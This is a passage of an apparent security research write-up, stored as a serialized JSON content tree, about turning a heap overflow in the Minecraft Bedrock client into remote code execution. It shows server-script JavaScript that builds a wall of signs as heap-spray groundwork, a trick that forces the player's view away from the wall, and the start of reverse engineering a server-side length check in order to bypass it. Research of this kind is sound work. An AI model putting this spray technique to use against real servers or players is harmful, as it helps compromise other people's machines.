7,"children":157578},{"style":288},[157579],{"type":29,"value":1171},{"type":24,"tag":25,"props":157581,"children":157582},{},[157583,157585,157591],{"type":29,"value":157584},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":24,"tag":135,"props":157586,"children":157588},{"className":157587},[],[157589],{"type":29,"value":157590},"signs",{"type":29,"value":157592}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":24,"tag":261,"props":157594,"children":157596},{"code":157595,"language":43283,"meta":7,"className":43281,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[157597],{"type":24,"tag":135,"props":157598,"children":157599},{"__ignoreMap":7},[157600,157615,157622,157638,157655,157662,157724,157786,157793,157809,157817,157839,157865,157890,157910,157939,157951,157958,157966,157988,158022,158029,158049,158065,158081,158097,158109,158117,158124,158131,158138,158145,158161,158176,158183,158242,158301,158308,158323,158331,158359,158387,158395,158402,158421,158448,158455,158462,158477,158484,158491,158498,158505,158561,158573,158580,158587,158648,158660],{"type":24,"tag":271,"props":157601,"children":157602},{"class":273,"line":274},[157603,157607,157611],{"type":24,"tag":271,"props":157604,"children":157605},{"style":278},[157606],{"type":29,"value":19490},{"type":24,"tag":271,"props":157608,"children":157609},{"style":630},[157610],{"type":29,"value":157050},{"type":24,"tag":271,"props":157612,"children":157613},{"style":288},[157614],{"type":29,"value":1069},{"type":24,"tag":271,"props":157616,"children":157617},{"class":273,"line":284},[157618],{"type":24,"tag":271,"props":157619,"children":157620},{"emptyLinePlaceholder":16},[157621],{"type":29,"value":327},{"type":24,"tag":271,"props":157623,"children":157624},{"class":273,"line":294},[157625,157629,157634],{"type":24,"tag":271,"props":157626,"children":157627},{"style":278},[157628],{"type":29,"value":39052},{"type":24,"tag":271,"props":157630,"children":157631},{"style":598},[157632],{"type":29,"value":157633}," create_wall",{"type":24,"tag":271,"props":157635,"children":157636},{"style":288},[157637],{"type":29,"value":23434},{"type":24,"tag":271,"props":157639,"children":157640},{"class":273,"line":303},[157641,157646,157650],{"type":24,"tag":271,"props":157642,"children":157643},{"style":630},[157644],{"type":29,"value":157645}," signs",{"type":24,"tag":271,"props":157647,"children":157648},{"style":624},[157649],{"type":29,"value":1712},{"type":24,"tag":271,"props":157651,"children":157652},{"style":288},[157653],{"type":29,"value":157654}," [];\n",{"type":24,"tag":271,"props":157656,"children":157657},{"class":273,"line":312},[157658],{"type":24,"tag":271,"props":157659,"children":157660},{"emptyLinePlaceholder":16},[157661],{"type":29,"value":327},{"type":24,"tag":271,"props":157663,"children":157664},{"class":273,"line":321},[157665,157669,157673,157677,157682,157686,157690,157694,157699,157703,157708,157712,157716,157720],{"type":24,"tag":271,"props":157666,"children":157667},{"style":749},[157668],{"type":29,"value":4149},{"type":24,"tag":271,"props":157670,"children":157671},{"style":288},[157672],{"type":29,"value":1357},{"type":24,"tag":271,"props":157674,"children":157675},{"style":278},[157676],{"type":29,"value":19490},{"type":24,"tag":271,"props":157678,"children":157679},{"style":630},[157680],{"type":29,"value":157681}," current_y",{"type":24,"tag":271,"props":157683,"children":157684},{"style":624},[157685],{"type":29,"value":1712},{"type":24,"tag":271,"props":157687,"children":157688},{"style":477},[157689],{"type":29,"value":767},{"type":24,"tag":271,"props":157691,"children":157692},{"style":288},[157693],{"type":29,"value":24920},{"type":24,"tag":271,"props":157695,"children":157696},{"style":630},[157697],{"type":29,"value":157698},"current_y",{"type":24,"tag":271,"props":157700,"children":157701},{"style":624},[157702],{"type":29,"value":16432},{"type":24,"tag":271,"props":157704,"children":157705},{"style":630},[157706],{"type":29,"value":157707}," WALL_HEIGHT",{"type":24,"tag":271,"props":157709,"children":157710},{"style":288},[157711],{"type":29,"value":24920},{"type":24,"tag":271,"props":157713,"children":157714},{"style":630},[157715],{"type":29,"value":157698},{"type":24,"tag":271,"props":157717,"children":157718},{"style":624},[157719],{"type":29,"value":834},{"type":24,"tag":271,"props":157721,"children":157722},{"style":288},[157723],{"type":29,"value":919},{"type":24,"tag":271,"props":157725,"children":157726},{"class":273,"line":330},[157727,157731,157735,157739,157744,157748,157752,157756,157761,157765,157770,157774,157778,157782],{"type":24,"tag":271,"props":157728,"children":157729},{"style":749},[157730],{"type":29,"value":10256},{"type":24,"tag":271,"props":157732,"children":157733},{"style":288},[157734],{"type":29,"value":1357},{"type":24,"tag":271,"props":157736,"children":157737},{"style":278},[157738],{"type":29,"value":19490},{"type":24,"tag":271,"props":157740,"children":157741},{"style":630},[157742],{"type":29,"value":157743}," current_x",{"type":24,"tag":271,"props":157745,"children":157746},{"style":624},[157747],{"type":29,"value":1712},{"type":24,"tag":271,"props":157749,"children":157750},{"style":477},[157751],{"type":29,"value":767},{"type":24,"tag":271,"props":157753,"children":157754},{"style":288},[157755],{"type":29,"value":24920},{"type":24,"tag":271,"props":157757,"children":157758},{"style":630},[157759],{"type":29,"value":157760},"current_x",{"type":24,"tag":271,"props":157762,"children":157763},{"style":624},[157764],{"type":29,"value":16432},{"type":24,"tag":271,"props":157766,"children":157767},{"style":630},[157768],{"type":29,"value":157769}," WALL_WIDTH",{"type":24,"tag":271,"props":157771,"children":157772},{"style":288},[157773],{"type":29,"value":24920},{"type":24,"tag":271,"props":157775,"children":157776},{"style":630},[157777],{"type":29,"value":157760},{"type":24,"tag":271,"props":157779,"children":157780},{"style":624},[157781],{"type":29,"value":834},{"type":24,"tag":271,"props":157783,"children":157784},{"style":288},[157785],{"type":29,"value":919},{"type":24,"tag":271,"props":157787,"children":157788},{"class":273,"line":339},[157789],{"type":24,"tag":271,"props":157790,"children":157791},{"emptyLinePlaceholder":16},[157792],{"type":29,"value":327},{"type":24,"tag":271,"props":157794,"children":157795},{"class":273,"line":347},[157796,157801,157805],{"type":24,"tag":271,"props":157797,"children":157798},{"style":288},[157799],{"type":29,"value":157800}," [",{"type":24,"tag":271,"props":157802,"children":157803},{"style":624},[157804],{"type":29,"value":17298},{"type":24,"tag":271,"props":157806,"children":157807},{"style":288},[157808],{"type":29,"value":19475},{"type":24,"tag":271,"props":157810,"children":157811},{"class":273,"line":356},[157812],{"type":24,"tag":271,"props":157813,"children":157814},{"style":288},[157815],{"type":29,"value":157816}," \n",{"type":24,"tag":271,"props":157818,"children":157819},{"class":273,"line":365},[157820,157825,157830,157834],{"type":24,"tag":271,"props":157821,"children":157822},{"style":278},[157823],{"type":29,"value":157824}," const",{"type":24,"tag":271,"props":157826,"children":157827},{"style":630},[157828],{"type":29,"value":157829}," sign_block",{"type":24,"tag":271,"props":157831,"children":157832},{"style":624},[157833],{"type":29,"value":1712},{"type":24,"tag":271,"props":157835,"children":157836},{"style":630},[157837],{"type":29,"value":157838}," world\n",{"type":24,"tag":271,"props":157840,"children":157841},{"class":273,"line":374},[157842,157847,157852,157856,157861],{"type":24,"tag":271,"props":157843,"children":157844},{"style":288},[157845],{"type":29,"value":157846}," .",{"type":24,"tag":271,"props":157848,"children":157849},{"style":598},[157850],{"type":29,"value":157851},"getDimension",{"type":24,"tag":271,"props":157853,"children":157854},{"style":288},[157855],{"type":29,"value":606},{"type":24,"tag":271,"props":157857,"children":157858},{"style":378},[157859],{"type":29,"value":157860},"\"overworld\"",{"type":24,"tag":271,"props":157862,"children":157863},{"style":288},[157864],{"type":29,"value":694},{"type":24,"tag":271,"props":157866,"children":157867},{"class":273,"line":384},[157868,157872,157877,157881,157886],{"type":24,"tag":271,"props":157869,"children":157870},{"style":288},[157871],{"type":29,"value":157846},{"type":24,"tag":271,"props":157873,"children":157874},{"style":598},[157875],{"type":29,"value":157876},"getBlock",{"type":24,"tag":271,"props":157878,"children":157879},{"style":288},[157880],{"type":29,"value":606},{"type":24,"tag":271,"props":157882,"children":157883},{"style":630},[157884],{"type":29,"value":157885},"sign_location",{"type":24,"tag":271,"props":157887,"children":157888},{"style":288},[157889],{"type":29,"value":1155},{"type":24,"tag":271,"props":157891,"children":157892},{"class":273,"line":393},[157893,157898,157902,157906],{"type":24,"tag":271,"props":157894,"children":157895},{"style":630},[157896],{"type":29,"value":157897}," sign_block",{"type":24,"tag":271,"props":157899,"children":157900},{"style":288},[157901],{"type":29,"value":41},{"type":24,"tag":271,"props":157903,"children":157904},{"style":598},[157905],{"type":29,"value":157504},{"type":24,"tag":271,"props":157907,"children":157908},{"style":288},[157909],{"type":29,"value":4028},{"type":24,"tag":271,"props":157911,"children":157912},{"class":273,"line":402},[157913,157918,157922,157926,157930,157935],{"type":24,"tag":271,"props":157914,"children":157915},{"style":630},[157916],{"type":29,"value":157917}," BlockPermutation",{"type":24,"tag":271,"props":157919,"children":157920},{"style":288},[157921],{"type":29,"value":41},{"type":24,"tag":271,"props":157923,"children":157924},{"style":598},[157925],{"type":29,"value":157525},{"type":24,"tag":271,"props":157927,"children":157928},{"style":288},[157929],{"type":29,"value":606},{"type":24,"tag":271,"props":157931,"children":157932},{"style":378},[157933],{"type":29,"value":157934},"\"minecraft:wall_sign\"",{"type":24,"tag":271,"props":157936,"children":157937},{"style":288},[157938],{"type":29,"value":56547},{"type":24,"tag":271,"props":157940,"children":157941},{"class":273,"line":411},[157942,157947],{"type":24,"tag":271,"props":157943,"children":157944},{"style":630},[157945],{"type":29,"value":157946}," facing_direction:",{"type":24,"tag":271,"props":157948,"children":157949},{"style":477},[157950],{"type":29,"value":27015},{"type":24,"tag":271,"props":157952,"children":157953},{"class":273,"line":420},[157954],{"type":24,"tag":271,"props":157955,"children":157956},{"style":288},[157957],{"type":29,"value":77859},{"type":24,"tag":271,"props":157959,"children":157960},{"class":273,"line":429},[157961],{"type":24,"tag":271,"props":157962,"children":157963},{"style":288},[157964],{"type":29,"value":157965}," ));\n",{"type":24,"tag":271,"props":157967,"children":157968},{"class":273,"line":438},[157969,157974,157979,157983],{"type":24,"tag":271,"props":157970,"children":157971},{"style":278},[157972],{"type":29,"value":157973}," let",{"type":24,"tag":271,"props":157975,"children":157976},{"style":630},[157977],{"type":29,"value":157978}," sign_component",{"type":24,"tag":271,"props":157980,"children":157981},{"style":624},[157982],{"type":29,"value":1712},{"type":24,"tag":271,"props":157984,"children":157985},{"style":630},[157986],{"type":29,"value":157987}," sign_block\n",{"type":24,"tag":271,"props":157989,"children":157990},{"class":273,"line":447},[157991,157995,158000,158004,158009,158013,158018],{"type":24,"tag":271,"props":157992,"children":157993},{"style":288},[157994],{"type":29,"value":157846},{"type":24,"tag":271,"props":157996,"children":157997},{"style":598},[157998],{"type":29,"value":157999},"getComponent",{"type":24,"tag":271,"props":158001,"children":158002},{"style":288},[158003],{"type":29,"value":606},{"type":24,"tag":271,"props":158005,"children":158006},{"style":630},[158007],{"type":29,"value":158008},"BlockComponentTypes",{"type":24,"tag":271,"props":158010,"children":158011},{"style":288},[158012],{"type":29,"value":41},{"type":24,"tag":271,"props":158014,"children":158015},{"style":630},[158016],{"type":29,"value":158017},"Sign",{"type":24,"tag":271,"props":158019,"children":158020},{"style":288},[158021],{"type":29,"value":1155},{"type":24,"tag":271,"props":158023,"children":158024},{"class":273,"line":455},[158025],{"type":24,"tag":271,"props":158026,"children":158027},{"emptyLinePlaceholder":16},[158028],{"type":29,"value":327},{"type":24,"tag":271,"props":158030,"children":158031},{"class":273,"line":464},[158032,158037,158041,158045],{"type":24,"tag":271,"props":158033,"children":158034},{"style":630},[158035],{"type":29,"value":158036}," signs",{"type":24,"tag":271,"props":158038,"children":158039},{"style":288},[158040],{"type":29,"value":41},{"type":24,"tag":271,"props":158042,"children":158043},{"style":598},[158044],{"type":29,"value":11535},{"type":24,"tag":271,"props":158046,"children":158047},{"style":288},[158048],{"type":29,"value":22837},{"type":24,"tag":271,"props":158050,"children":158051},{"class":273,"line":473},[158052,158057,158061],{"type":24,"tag":271,"props":158053,"children":158054},{"style":630},[158055],{"type":29,"value":158056}," sign:",{"type":24,"tag":271,"props":158058,"children":158059},{"style":630},[158060],{"type":29,"value":157978},{"type":24,"tag":271,"props":158062,"children":158063},{"style":288},[158064],{"type":29,"value":638},{"type":24,"tag":271,"props":158066,"children":158067},{"class":273,"line":483},[158068,158073,158077],{"type":24,"tag":271,"props":158069,"children":158070},{"style":630},[158071],{"type":29,"value":158072}," allocated:",{"type":24,"tag":271,"props":158074,"children":158075},{"style":278},[158076],{"type":29,"value":1877},{"type":24,"tag":271,"props":158078,"children":158079},{"style":288},[158080],{"type":29,"value":638},{"type":24,"tag":271,"props":158082,"children":158083},{"class":273,"line":491},[158084,158089,158093],{"type":24,"tag":271,"props":158085,"children":158086},{"style":630},[158087],{"type":29,"value":158088}," block:",{"type":24,"tag":271,"props":158090,"children":158091},{"style":630},[158092],{"type":29,"value":157829},{"type":24,"tag":271,"props":158094,"children":158095},{"style":288},[158096],{"type":29,"value":638},{"type":24,"tag":271,"props":158098,"children":158099},{"class":273,"line":499},[158100,158105],{"type":24,"tag":271,"props":158101,"children":158102},{"style":630},[158103],{"type":29,"value":158104}," removed:",{"type":24,"tag":271,"props":158106,"children":158107},{"style":278},[158108],{"type":29,"value":20013},{"type":24,"tag":271,"props":158110,"children":158111},{"class":273,"line":3188},[158112],{"type":24,"tag":271,"props":158113,"children":158114},{"style":288},[158115],{"type":29,"value":158116}," });\n",{"type":24,"tag":271,"props":158118,"children":158119},{"class":273,"line":3247},[158120],{"type":24,"tag":271,"props":158121,"children":158122},{"style":288},[158123],{"type":29,"value":7574},{"type":24,"tag":271,"props":158125,"children":158126},{"class":273,"line":3255},[158127],{"type":24,"tag":271,"props":158128,"children":158129},{"style":288},[158130],{"type":29,"value":4385},{"type":24,"tag":271,"props":158132,"children":158133},{"class":273,"line":3263},[158134],{"type":24,"tag":271,"props":158135,"children":158136},{"style":288},[158137],{"type":29,"value":1171},{"type":24,"tag":271,"props":158139,"children":158140},{"class":273,"line":3293},[158141],{"type":24,"tag":271,"props":158142,"children":158143},{"emptyLinePlaceholder":16},[158144],{"type":29,"value":327},{"type":24,"tag":271,"props":158146,"children":158147},{"class":273,"line":3301},[158148,158152,158157],{"type":24,"tag":271,"props":158149,"children":158150},{"style":278},[158151],{"type":29,"value":39052},{"type":24,"tag":271,"props":158153,"children":158154},{"style":598},[158155],{"type":29,"value":158156}," remove_wall",{"type":24,"tag":271,"props":158158,"children":158159},{"style":288},[158160],{"type":29,"value":23434},{"type":24,"tag":271,"props":158162,"children":158163},{"class":273,"line":3683},[158164,158168,158172],{"type":24,"tag":271,"props":158165,"children":158166},{"style":630},[158167],{"type":29,"value":157645},{"type":24,"tag":271,"props":158169,"children":158170},{"style":624},[158171],{"type":29,"value":1712},{"type":24,"tag":271,"props":158173,"children":158174},{"style":288},[158175],{"type":29,"value":157654},{"type":24,"tag":271,"props":158177,"children":158178},{"class":273,"line":4486},[158179],{"type":24,"tag":271,"props":158180,"children":158181},{"style":288},[158182],{"type":29,"value":68572},{"type":24,"tag":271,"props":158184,"children":158185},{"class":273,"line":4509},[158186,158190,158194,158198,158202,158206,158210,158214,158218,158222,158226,158230,158234,158238],{"type":24,"tag":271,"props":158187,"children":158188},{"style":749},[158189],{"type":29,"value":4149},{"type":24,"tag":271,"props":158191,"children":158192},{"style":288},[158193],{"type":29,"value":1357},{"type":24,"tag":271,"props":158195,"children":158196},{"style":278},[158197],{"type":29,"value":19490},{"type":24,"tag":271,"props":158199,"children":158200},{"style":630},[158201],{"type":29,"value":157681},{"type":24,"tag":271,"props":158203,"children":158204},{"style":624},[158205],{"type":29,"value":1712},{"type":24,"tag":271,"props":158207,"children":158208},{"style":477},[158209],{"type":29,"value":767},{"type":24,"tag":271,"props":158211,"children":158212},{"style":288},[158213],{"type":29,"value":24920},{"type":24,"tag":271,"props":158215,"children":158216},{"style":630},[158217],{"type":29,"value":157698},{"type":24,"tag":271,"props":158219,"children":158220},{"style":624},[158221],{"type":29,"value":16432},{"type":24,"tag":271,"props":158223,"children":158224},{"style":630},[158225],{"type":29,"value":157707},{"type":24,"tag":271,"props":158227,"children":158228},{"style":288},[158229],{"type":29,"value":24920},{"type":24,"tag":271,"props":158231,"children":158232},{"style":630},[158233],{"type":29,"value":157698},{"type":24,"tag":271,"props":158235,"children":158236},{"style":624},[158237],{"type":29,"value":834},{"type":24,"tag":271,"props":158239,"children":158240},{"style":288},[158241],{"type":29,"value":919},{"type":24,"tag":271,"props":158243,"children":158244},{"class":273,"line":4545},[158245,158249,158253,158257,158261,158265,158269,158273,158277,158281,158285,158289,158293,158297],{"type":24,"tag":271,"props":158246,"children":158247},{"style":749},[158248],{"type":29,"value":10256},{"type":24,"tag":271,"props":158250,"children":158251},{"style":288},[158252],{"type":29,"value":1357},{"type":24,"tag":271,"props":158254,"children":158255},{"style":278},[158256],{"type":29,"value":19490},{"type":24,"tag":271,"props":158258,"children":158259},{"style":630},[158260],{"type":29,"value":157743},{"type":24,"tag":271,"props":158262,"children":158263},{"style":624},[158264],{"type":29,"value":1712},{"type":24,"tag":271,"props":158266,"children":158267},{"style":477},[158268],{"type":29,"value":767},{"type":24,"tag":271,"props":158270,"children":158271},{"style":288},[158272],{"type":29,"value":24920},{"type":24,"tag":271,"props":158274,"children":158275},{"style":630},[158276],{"type":29,"value":157760},{"type":24,"tag":271,"props":158278,"children":158279},{"style":624},[158280],{"type":29,"value":16432},{"type":24,"tag":271,"props":158282,"children":158283},{"style":630},[158284],{"type":29,"value":157769},{"type":24,"tag":271,"props":158286,"children":158287},{"style":288},[158288],{"type":29,"value":24920},{"type":24,"tag":271,"props":158290,"children":158291},{"style":630},[158292],{"type":29,"value":157760},{"type":24,"tag":271,"props":158294,"children":158295},{"style":624},[158296],{"type":29,"value":834},{"type":24,"tag":271,"props":158298,"children":158299},{"style":288},[158300],{"type":29,"value":919},{"type":24,"tag":271,"props":158302,"children":158303},{"class":273,"line":4591},[158304],{"type":24,"tag":271,"props":158305,"children":158306},{"style":288},[158307],{"type":29,"value":157816},{"type":24,"tag":271,"props":158309,"children":158310},{"class":273,"line":4628},[158311,158315,158319],{"type":24,"tag":271,"props":158312,"children":158313},{"style":288},[158314],{"type":29,"value":157800},{"type":24,"tag":271,"props":158316,"children":158317},{"style":624},[158318],{"type":29,"value":17298},{"type":24,"tag":271,"props":158320,"children":158321},{"style":288},[158322],{"type":29,"value":19475},{"type":24,"tag":271,"props":158324,"children":158325},{"class":273,"line":4658},[158326],{"type":24,"tag":271,"props":158327,"children":158328},{"style":288},[158329],{"type":29,"value":158330}," \n",{"type":24,"tag":271,"props":158332,"children":158333},{"class":273,"line":4666},[158334,158338,158342,158346,158350,158355],{"type":24,"tag":271,"props":158335,"children":158336},{"style":278},[158337],{"type":29,"value":157824},{"type":24,"tag":271,"props":158339,"children":158340},{"style":630},[158341],{"type":29,"value":157829},{"type":24,"tag":271,"props":158343,"children":158344},{"style":624},[158345],{"type":29,"value":1712},{"type":24,"tag":271,"props":158347,"children":158348},{"style":749},[158349],{"type":29,"value":43879},{"type":24,"tag":271,"props":158351,"children":158352},{"style":598},[158353],{"type":29,"value":158354}," wait_for_block",{"type":24,"tag":271,"props":158356,"children":158357},{"style":288},[158358],{"type":29,"value":4028},{"type":24,"tag":271,"props":158360,"children":158361},{"class":273,"line":4674},[158362,158367,158371,158375,158379,158383],{"type":24,"tag":271,"props":158363,"children":158364},{"style":630},[158365],{"type":29,"value":158366}," world",{"type":24,"tag":271,"props":158368,"children":158369},{"style":288},[158370],{"type":29,"value":41},{"type":24,"tag":271,"props":158372,"children":158373},{"style":598},[158374],{"type":29,"value":157851},{"type":24,"tag":271,"props":158376,"children":158377},{"style":288},[158378],{"type":29,"value":606},{"type":24,"tag":271,"props":158380,"children":158381},{"style":378},[158382],{"type":29,"value":157860},{"type":24,"tag":271,"props":158384,"children":158385},{"style":288},[158386],{"type":29,"value":14453},{"type":24,"tag":271,"props":158388,"children":158389},{"class":273,"line":4683},[158390],{"type":24,"tag":271,"props":158391,"children":158392},{"style":630},[158393],{"type":29,"value":158394}," sign_location\n",{"type":24,"tag":271,"props":158396,"children":158397},{"class":273,"line":4691},[158398],{"type":24,"tag":271,"props":158399,"children":158400},{"style":288},[158401],{"type":29,"value":131904},{"type":24,"tag":271,"props":158403,"children":158404},{"class":273,"line":4708},[158405,158409,158413,158417],{"type":24,"tag":271,"props":158406,"children":158407},{"style":630},[158408],{"type":29,"value":157897},{"type":24,"tag":271,"props":158410,"children":158411},{"style":288},[158412],{"type":29,"value":41},{"type":24,"tag":271,"props":158414,"children":158415},{"style":598},[158416],{"type":29,"value":157504},{"type":24,"tag":271,"props":158418,"children":158419},{"style":288},[158420],{"type":29,"value":4028},{"type":24,"tag":271,"props":158422,"children":158423},{"class":273,"line":4716},[158424,158428,158432,158436,158440,158444],{"type":24,"tag":271,"props":158425,"children":158426},{"style":630},[158427],{"type":29,"value":157917},{"type":24,"tag":271,"props":158429,"children":158430},{"style":288},[158431],{"type":29,"value":41},{"type":24,"tag":271,"props":158433,"children":158434},{"style":598},[158435],{"type":29,"value":157525},{"type":24,"tag":271,"props":158437,"children":158438},{"style":288},[158439],{"type":29,"value":606},{"type":24,"tag":271,"props":158441,"children":158442},{"style":378},[158443],{"type":29,"value":157534},{"type":24,"tag":271,"props":158445,"children":158446},{"style":288},[158447],{"type":29,"value":694},{"type":24,"tag":271,"props":158449,"children":158450},{"class":273,"line":10423},[158451],{"type":24,"tag":271,"props":158452,"children":158453},{"style":288},[158454],{"type":29,"value":131904},{"type":24,"tag":271,"props":158456,"children":158457},{"class":273,"line":10431},[158458],{"type":24,"tag":271,"props":158459,"children":158460},{"emptyLinePlaceholder":16},[158461],{"type":29,"value":327},{"type":24,"tag":271,"props":158463,"children":158464},{"class":273,"line":10439},[158465,158469,158473],{"type":24,"tag":271,"props":158466,"children":158467},{"style":288},[158468],{"type":29,"value":157800},{"type":24,"tag":271,"props":158470,"children":158471},{"style":624},[158472],{"type":29,"value":17298},{"type":24,"tag":271,"props":158474,"children":158475},{"style":288},[158476],{"type":29,"value":19475},{"type":24,"tag":271,"props":158478,"children":158479},{"class":273,"line":10447},[158480],{"type":24,"tag":271,"props":158481,"children":158482},{"style":288},[158483],{"type":29,"value":7574},{"type":24,"tag":271,"props":158485,"children":158486},{"class":273,"line":10468},[158487],{"type":24,"tag":271,"props":158488,"children":158489},{"style":288},[158490],{"type":29,"value":4385},{"type":24,"tag":271,"props":158492,"children":158493},{"class":273,"line":39951},[158494],{"type":24,"tag":271,"props":158495,"children":158496},{"style":288},[158497],{"type":29,"value":1171},{"type":24,"tag":271,"props":158499,"children":158500},{"class":273,"line":39972},[158501],{"type":24,"tag":271,"props":158502,"children":158503},{"emptyLinePlaceholder":16},[158504],{"type":29,"value":327},{"type":24,"tag":271,"props":158506,"children":158507},{"class":273,"line":87741},[158508,158513,158517,158522,158526,158531,158535,158540,158544,158549,158553,158557],{"type":24,"tag":271,"props":158509,"children":158510},{"style":630},[158511],{"type":29,"value":158512},"world",{"type":24,"tag":271,"props":158514,"children":158515},{"style":288},[158516],{"type":29,"value":41},{"type":24,"tag":271,"props":158518,"children":158519},{"style":630},[158520],{"type":29,"value":158521},"afterEvents",{"type":24,"tag":271,"props":158523,"children":158524},{"style":288},[158525],{"type":29,"value":41},{"type":24,"tag":271,"props":158527,"children":158528},{"style":630},[158529],{"type":29,"value":158530},"playerSpawn",{"type":24,"tag":271,"props":158532,"children":158533},{"style":288},[158534],{"type":29,"value":41},{"type":24,"tag":271,"props":158536,"children":158537},{"style":598},[158538],{"type":29,"value":158539},"subscribe",{"type":24,"tag":271,"props":158541,"children":158542},{"style":288},[158543],{"type":29,"value":39197},{"type":24,"tag":271,"props":158545,"children":158546},{"style":630},[158547],{"type":29,"value":158548},"arg",{"type":24,"tag":271,"props":158550,"children":158551},{"style":288},[158552],{"type":29,"value":8823},{"type":24,"tag":271,"props":158554,"children":158555},{"style":278},[158556],{"type":29,"value":22519},{"type":24,"tag":271,"props":158558,"children":158559},{"style":288},[158560],{"type":29,"value":7145},{"type":24,"tag":271,"props":158562,"children":158563},{"class":273,"line":87754},[158564,158569],{"type":24,"tag":271,"props":158565,"children":158566},{"style":598},[158567],{"type":29,"value":158568}," create_wall",{"type":24,"tag":271,"props":158570,"children":158571},{"style":288},[158572],{"type":29,"value":4230},{"type":24,"tag":271,"props":158574,"children":158575},{"class":273,"line":87762},[158576],{"type":24,"tag":271,"props":158577,"children":158578},{"style":288},[158579],{"type":29,"value":43005},{"type":24,"tag":271,"props":158581,"children":158582},{"class":273,"line":87770},[158583],{"type":24,"tag":271,"props":158584,"children":158585},{"emptyLinePlaceholder":16},[158586],{"type":29,"value":327},{"type":24,"tag":271,"props":158588,"children":158589},{"class":273,"line":87778},[158590,158594,158598,158603,158607,158612,158616,158620,158624,158628,158632,158636,158640,158644],{"type":24,"tag":271,"props":158591,"children":158592},{"style":630},[158593],{"type":29,"value":158512},{"type":24,"tag":271,"props":158595,"children":158596},{"style":288},[158597],{"type":29,"value":41},{"type":24,"tag":271,"props":158599,"children":158600},{"style":630},[158601],{"type":29,"value":158602},"beforeEvents",{"type":24,"tag":271,"props":158604,"children":158605},{"style":288},[158606],{"type":29,"value":41},{"type":24,"tag":271,"props":158608,"children":158609},{"style":630},[158610],{"type":29,"value":158611},"playerLeave",{"type":24,"tag":271,"props":158613,"children":158614},{"style":288},[158615],{"type":29,"value":41},{"type":24,"tag":271,"props":158617,"children":158618},{"style":598},[158619],{"type":29,"value":158539},{"type":24,"tag":271,"props":158621,"children":158622},{"style":288},[158623],{"type":29,"value":606},{"type":24,"tag":271,"props":158625,"children":158626},{"style":278},[158627],{"type":29,"value":43813},{"type":24,"tag":271,"props":158629,"children":158630},{"style":288},[158631],{"type":29,"value":1357},{"type":24,"tag":271,"props":158633,"children":158634},{"style":630},[158635],{"type":29,"value":158548},{"type":24,"tag":271,"props":158637,"children":158638},{"style":288},[158639],{"type":29,"value":8823},{"type":24,"tag":271,"props":158641,"children":158642},{"style":278},[158643],{"type":29,"value":22519},{"type":24,"tag":271,"props":158645,"children":158646},{"style":288},[158647],{"type":29,"value":7145},{"type":24,"tag":271,"props":158649,"children":158650},{"class":273,"line":87818},[158651,158656],{"type":24,"tag":271,"props":158652,"children":158653},{"style":598},[158654],{"type":29,"value":158655}," remove_wall",{"type":24,"tag":271,"props":158657,"children":158658},{"style":288},[158659],{"type":29,"value":4230},{"type":24,"tag":271,"props":158661,"children":158662},{"class":273,"line":87826},[158663],{"type":24,"tag":271,"props":158664,"children":158665},{"style":288},[158666],{"type":29,"value":43005},{"type":24,"tag":25,"props":158668,"children":158669},{},[158670],{"type":29,"value":158671},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":24,"tag":25,"props":158673,"children":158674},{},[158675],{"type":24,"tag":74,"props":158676,"children":158679},{"alt":158677,"src":158678},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":24,"tag":25,"props":158681,"children":158682},{},[158683],{"type":29,"value":158684},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":24,"tag":26585,"props":158686,"children":158688},{"id":158687},"a-small-roadblock",[158689],{"type":29,"value":158690},"A Small Roadblock",{"type":24,"tag":25,"props":158692,"children":158693},{},[158694],{"type":29,"value":158695},"While testing our heap spray method, we encountered the following error:",{"type":24,"tag":261,"props":158697,"children":158699},{"code":158698},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[158700],{"type":24,"tag":135,"props":158701,"children":158702},{"__ignoreMap":7},[158703],{"type":29,"value":158698},{"type":24,"tag":25,"props":158705,"children":158706},{},[158707,158709,158715],{"type":29,"value":158708},"An error is thrown by the server executable while trying to assign text longer than ",{"type":24,"tag":135,"props":158710,"children":158712},{"className":158711},[],[158713],{"type":29,"value":158714},"512",{"type":29,"value":158716}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":24,"tag":25,"props":158718,"children":158719},{},[158720],{"type":29,"value":158721},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":24,"tag":25,"props":158723,"children":158724},{},[158725],{"type":29,"value":158726},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":24,"tag":25,"props":158728,"children":158729},{},[158730],{"type":24,"tag":74,"props":158731,"children":158733},{"alt":76,"src":158732},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":24,"tag":25,"props":158735,"children":158736},{},[158737,158739,158745],{"type":29,"value":158738},"Although the involved functions are unnamed, it’s clear that we always want execution to take the 